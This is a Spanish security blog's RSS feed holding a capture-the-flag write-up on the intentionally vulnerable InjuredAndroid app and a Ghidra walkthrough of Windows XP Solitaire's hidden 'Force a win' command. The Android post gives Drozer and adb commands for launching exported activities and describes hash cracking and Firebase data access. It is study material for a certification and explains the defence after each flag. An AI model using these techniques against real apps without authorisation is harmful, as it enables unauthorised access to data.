<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Reversing on</title><link>https://synacklabs.github.io/tags/reversing/</link><description>Recent content in Reversing on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Wed, 06 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/reversing/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>InjuredAndroid Part I</title><link>https://synacklabs.github.io/posts/injuredandroid/</link><pubDate>Wed, 06 May 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/injuredandroid/</guid><description>&lt;p&gt;En esta sección voy a ir subiendo una serie de pentestings a aplicaciones móviles que estoy haciendo como preparación para la eMAPT. La idea es usar esto como mis propios apuntes para documentar el proceso de explotación de cada vulnerabilidad y tener bien claros los vectores de ataque más comunes en Android.&lt;/p&gt;
&lt;h3 id="flag-i-login-i"&gt;&lt;strong&gt;Flag I: LOGIN I&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8010-b5e1-f7b073d8f6cf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Para la primera flag lo que haremos será directamente inspeccionar la APK para fijarnos en los datos de cada “flag” oculta.
Podemos observar que esta es muy sencilla ya que la flag está en el propio código.&lt;/p&gt;</description><content>&lt;p&gt;En esta sección voy a ir subiendo una serie de pentestings a aplicaciones móviles que estoy haciendo como preparación para la eMAPT. La idea es usar esto como mis propios apuntes para documentar el proceso de explotación de cada vulnerabilidad y tener bien claros los vectores de ataque más comunes en Android.&lt;/p&gt;
&lt;h3 id="flag-i-login-i"&gt;&lt;strong&gt;Flag I: LOGIN I&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8010-b5e1-f7b073d8f6cf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Para la primera flag lo que haremos será directamente inspeccionar la APK para fijarnos en los datos de cada “flag” oculta.
Podemos observar que esta es muy sencilla ya que la flag está en el propio código.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8063-9471-da66d5d99a69.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-804a-b028-d78d60e4625e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="flag-ii-exported-activity"&gt;Flag II: EXPORTED ACTIVITY&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8060-bbb0-c1aec82ed2ba.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Esta segunda flag nos deja una pista bastante clara: Hay que inspeccionar la APK para descubrir actividades exportadas (accesibles desde fuera) que nos permitirán bypassear la MainActivity.&lt;/p&gt;
&lt;p&gt;En otras palabras, detectar actividades no protegidas nos permite ejecutar la aplicación sin tener que pasar por la actividad principal, eso nos puede permitir saltarnos ciertas medidas de seguridad y además android nos permite ejecutarla desde otras apps&lt;/p&gt;
&lt;p&gt;Vamos a ello!&lt;/p&gt;
&lt;p&gt;Para ello usaremos una herramienta llamada Drozer. esta herramienta nos permitirá analizar la app desde dentro y observar que componentes están expuestos (actividades expuestas).&lt;/p&gt;
&lt;p&gt;Primero de todo debemos descargar el agente para poder conectarnos al servidor de Drozer y lo activamos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8058-b9e6-c38f03562e20.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Después deberemos redireccionar el puerto de nuestro PC al puerto abierto de drozer del Android (31415) y abriremos una consola en nuestra terminal.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8098-ade0-e025cd927cfc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-803f-ab50-d00ebefdb534.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Cuando lo tenemos todo conectado empezaremos a enumerar la información de la app. Con los siguientes comandos podemos enumerar información general de la app (permisos, nombre, path…) y información general de las actividades (exportadas, permisos…) respectivamente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;run&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;package&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;package&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;run&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;activity&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;package&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8019-b4a3-e25fd33b0b6a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ahora que tenemos las actividades exportadas, probaremos de ejecutarlas para ver cual contiene la flag. Lo haremos con el siguiente comando:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;adb&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shell&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;am&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;start&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;package&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/.&amp;lt;activity&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En este caso:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80e5-8c76-e6631f7b01ab.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8067-b896-c53648f6a4a2.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tenemos!&lt;/p&gt;
&lt;p&gt;Otra manera de ver las actividades exportadas seria con este comando :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;adb&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shell&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dumpsys&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;package&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;package&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;grep&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;activity&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8077-9ca1-d474352ab10d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;O directamente desde el archivo AndroidManifest.xml:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8076-ac84-c6fed0d79851.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aquí métodos no faltan! Pasamos a la siguiente flag.&lt;/p&gt;
&lt;p&gt;(Teoria: El fallo es el atributo &lt;code&gt;android:exported=&amp;quot;true&amp;quot;&lt;/code&gt; en el Manifest sin ningún permiso que lo proteja. Esto permite que cualquiera llame a la actividad desde fuera y se salte el login o cualquier flujo lógico de la app.)&lt;/p&gt;
&lt;h3 id="flag-iii-resources"&gt;Flag III: RESOURCES&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-805c-b811-c76552db2a00.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos pista: Recursos y archivos.xml&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80e0-bb12-ea4f6fdc52eb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Primero reviso los importantes, el AndroidManifest.xml pero no encuentro nada; luego el strings.xml.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80f0-b4b0-d8f50df45ddd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aquí la tenemos. Siguiente&lt;/p&gt;
&lt;h3 id="flag-iv-login-ii"&gt;Flag IV: LOGIN II&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80c2-aa3f-d61f552068c1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En el código principal vemos como se crea una instancia de la clase g() llamando a su método a() y luego se compara con el valor introducido por el usuario a través del EditText.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-805d-ba24-d9b34ce1f931.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Si entramos a esta clase podemos ver lo siguiente:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8002-909d-e91021aa00ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Vemos que la flag esta en base 64 asi que acudimos a nuestro amigo cyberChef.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8050-850f-f10309c452e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80ea-b8da-d970b9864654.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y lo tenemos!!&lt;/p&gt;
&lt;p&gt;PD: se podría hacer dinámicamente usando Frida pero lo dejaremos para otro capítulo&lt;/p&gt;
&lt;p&gt;(Teoria : El error es meter secretos (como la clave en base64) a pelo en el código. Por mucho que lo ofusques o lo codifiques, si está en el cliente, el atacante lo va a encontrar tarde o temprano mediante ingeniería inversa.)&lt;/p&gt;
&lt;h3 id="flag-v-exported-broadcast-receiver"&gt;Flag V: EXPORTED BROADCAST RECEIVER&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8039-91fa-f8261e71a8a2.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Analizando el código de este reto he podido observar que para obtener la flag había que interactuar con el onRecive y viendo las condiciones solo dando 3 clicks en el botón te daba la flag.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80ad-8a4e-e92b259ae68b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80ae-9e13-cafdd5fc6761.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;easyone :P&lt;/p&gt;
&lt;p&gt;(Teoria: El &lt;code&gt;BroadcastReceiver&lt;/code&gt; responde a eventos externos sin validar correctamente el origen ni el estado interno. Esto permite que un atacante interactúe con él (en este caso mediante clicks/eventos) hasta cumplir la condición que revela la flag. El fallo es no implementar controles de acceso ni validaciones en componentes expuestos.)&lt;/p&gt;
&lt;h3 id="flag-vi-login-iii"&gt;Flag VI: LOGIN III&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8092-b3d0-de27a0b1a95f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Viendo el código observamos que la flag esta codeada, si accedemos a la función vemos que se le aplican diferentes métodos para descodificarla. Podríamos seguir el paso a paso , pero como hemos comentado previamente tenemos la oportunidad ( y facilidad ) de usar una herramienta llamada Frida. Frida nos permite interceptar (hooking) llamadas a funciones, clases … en momento de runtime, entonces aquí la idea seria que en vez de rompernos la cabeza descodificando esta cadena, usaremos la propia app para que nos de la flag sin esfuerzo ninguno.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8016-ad13-e03420a844c3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8011-8a58-eb39704d364f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8003-83cd-e206e9e2af40.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;y obtenemos la flag!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-803d-8837-e66a86a332c4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="flag-vii-sqlite"&gt;Flag VII: SQLITE&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-805f-a073-fa2da2529605.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En esta ocasión nos pide un usuario y una password, analizando el código podemos observar que el ejercicio crea una database, tenemos los datos en base64 pero prefiero hacerlo bien. Nos conectamos al device y accedemos a las bases de datos de la app y llegamos al hash siguiente:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-80ca-94ab-ca027d04dbd2.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-803e-8f07-c473bc58c0b6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo pasaremos por nuestro otro gran amigo CrackStation y obtenemos la supuesta flag (o nombre de usuario).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8005-9a34-e4d8465f0178.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En este punto tenemos el nombre de usuario, pero también necesitamos la password (segunda flag).&lt;/p&gt;
&lt;p&gt;Gracias a CTF o máquinas anteriores me puedo dar cuenta de que el inicio del supuesto hash de la password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;EEADi&lt;/span&gt;&lt;span style="color:#f92672"&gt;^^&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tiene un aire a:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;https&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#75715e"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Entonces con la IA en nuestra bando descubro que esta encriptado con ROT-47:&lt;/p&gt;
&lt;p&gt;y obtenemos lo siguiente&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-806b-b86c-fbd361e5bd72.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y dentro de la URL:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8060-9bd9-e4b7c0e9bd9e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/357888fa-f353-8079-91b5-cb4c69e4056b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;(Esta flag se puede obtener usando dynamic analysis que lo adjuntare en la segunda parte de los apuntes)&lt;/p&gt;
&lt;p&gt;(Teoria: Almacenamiento inseguro. Guardar credenciales o datos sensibles en bases de datos locales (aunque sea en &lt;code&gt;/data/data/&lt;/code&gt;) es un riesgo si el móvil está rooteado o si hay una vulnerabilidad de lectura de archivos. El hash ayuda, pero si es débil (como este), se rompe fácil.)&lt;/p&gt;
&lt;h3 id="flag-viii--ix-aws--firebase"&gt;FLAG VIII &amp;amp; IX: AWS &amp;amp; FIREBASE&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-8087-8076-cccde1c774d1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-80e0-9171-e8718edf55b9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Viendo el código deberiamos encontrar credenciales para AWS pero después de rato no podemos encontrar nada…&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-8055-be59-d454cf3df811.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-80b1-86f8-c1c8dc086854.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-80b8-bd06-cedccb459c2a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En el código podemos ver una cadena en base64 que si la descodificamos tenemos lo siguiente:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-80d7-870d-ebc9477fbe49.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y tambien en los strings encontramos la URL: &lt;code&gt;https://injuredandroid.firebaseio.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-8040-895c-e2c3b2303b46.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Si juntamos todo tenemos:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-802f-b453-e9474f453654.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Haciendo este reto, me doy cuenta de que en la flag 8 aparece una función llamada database.child(”aws”) y tiene igual que ver que el reto 9 pero a diferencia que en este el”child” esta codificado en base64 asi que me da por probar y bingo!!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-80c1-bba1-eaf0cc0281b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/358888fa-f353-80ed-a494-ccfad7773bcb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;(Teoria: Hardcoding de credenciales de servicios en la nube. Nunca se deben dejar API keys o URLs de bases de datos (Firebase/AWS) expuestas en los strings o el código, porque permiten acceso directo a la infraestructura del servidor desde el lado del cliente.)&lt;/p&gt;
&lt;h3 id="final-parte-i"&gt;Final Parte I&lt;/h3&gt;
&lt;p&gt;De momento lo dejamos aquí con estas primeras flags. Más adelante seguiré con la segunda parte de los apuntes, donde nos meteremos en cosas más dinámicas y avanzadas que se han quedado en el tintero.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra</title><link>https://synacklabs.github.io/posts/solitario/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/solitario/</guid><description>&lt;h2 id="1-introducción"&gt;1. Introducción&lt;/h2&gt;
&lt;p&gt;En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.&lt;/p&gt;
&lt;p&gt;El write-up se divide en dos objetivos principales:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Localización de funciones ocultas:&lt;/strong&gt; Identificar y activar el comando &lt;code&gt;&amp;quot;Force a win&amp;quot;&lt;/code&gt;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modificación de la lógica de renderizado:&lt;/strong&gt; Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-parte-i-activando-el-comando-oculto"&gt;&lt;strong&gt;2. Parte I: Activando el comando oculto &amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="21-análisis-de-strings-primer-contacto-con-la-lista-de-cadenas-definidas"&gt;&lt;strong&gt;2.1. Análisis de strings:&lt;/strong&gt; Primer contacto con la lista de cadenas definidas.&lt;/h3&gt;
&lt;p&gt;Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú &lt;strong&gt;Window&lt;/strong&gt; y seleccioné &lt;strong&gt;Defined Strings&lt;/strong&gt;. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.&lt;/p&gt;</description><content>&lt;h2 id="1-introducción"&gt;1. Introducción&lt;/h2&gt;
&lt;p&gt;En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.&lt;/p&gt;
&lt;p&gt;El write-up se divide en dos objetivos principales:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Localización de funciones ocultas:&lt;/strong&gt; Identificar y activar el comando &lt;code&gt;&amp;quot;Force a win&amp;quot;&lt;/code&gt;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modificación de la lógica de renderizado:&lt;/strong&gt; Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-parte-i-activando-el-comando-oculto"&gt;&lt;strong&gt;2. Parte I: Activando el comando oculto &amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="21-análisis-de-strings-primer-contacto-con-la-lista-de-cadenas-definidas"&gt;&lt;strong&gt;2.1. Análisis de strings:&lt;/strong&gt; Primer contacto con la lista de cadenas definidas.&lt;/h3&gt;
&lt;p&gt;Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú &lt;strong&gt;Window&lt;/strong&gt; y seleccioné &lt;strong&gt;Defined Strings&lt;/strong&gt;. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fe-a0f3-c72cd4a28419.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: &lt;strong&gt;&amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8017-a63d-c54be4bd68ba.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="22-identificación-del-recurso-id-1010"&gt;&lt;strong&gt;2.2. Identificación del recurso:&lt;/strong&gt; ID 1010.&lt;/h3&gt;
&lt;p&gt;La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, &amp;ldquo;Force a win&amp;rdquo; tiene asignado el &lt;strong&gt;ID 1010&lt;/strong&gt; (Rsrc String ID 1010).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-809a-813b-d1b756b6d989.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="23-conversión-de-bases-localizando-el-valor-hexadecimal-0x03f2"&gt;&lt;strong&gt;2.3. Conversión de bases:&lt;/strong&gt; Localizando el valor hexadecimal 0x03F2.&lt;/h3&gt;
&lt;p&gt;Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: &lt;code&gt;0x3f2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801c-96f3-c94802d2a655.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="24-rastreo-en-el-desensamblado-localización-del-manejador-de-comandos"&gt;&lt;strong&gt;2.4. Rastreo en el desensamblado:&lt;/strong&gt; Localización del manejador de comandos&lt;/h3&gt;
&lt;p&gt;Con el valor &lt;code&gt;0x3F2&lt;/code&gt; como objetivo, realicé una búsqueda en el código desensamblado. En la dirección &lt;code&gt;010019d2&lt;/code&gt; aparecía la instrucción &lt;code&gt;CMP EAX, 0x3f2&lt;/code&gt;, justo antes de un salto condicional &lt;code&gt;JZ&lt;/code&gt; hacia la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt;. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fc-8d45-eec13e97fdb3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8053-b3e1-e7f9ef7fc5ac.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80b1-8861-ebe344112a0f.png" alt="Imagen del post"&gt;&lt;/p&gt;
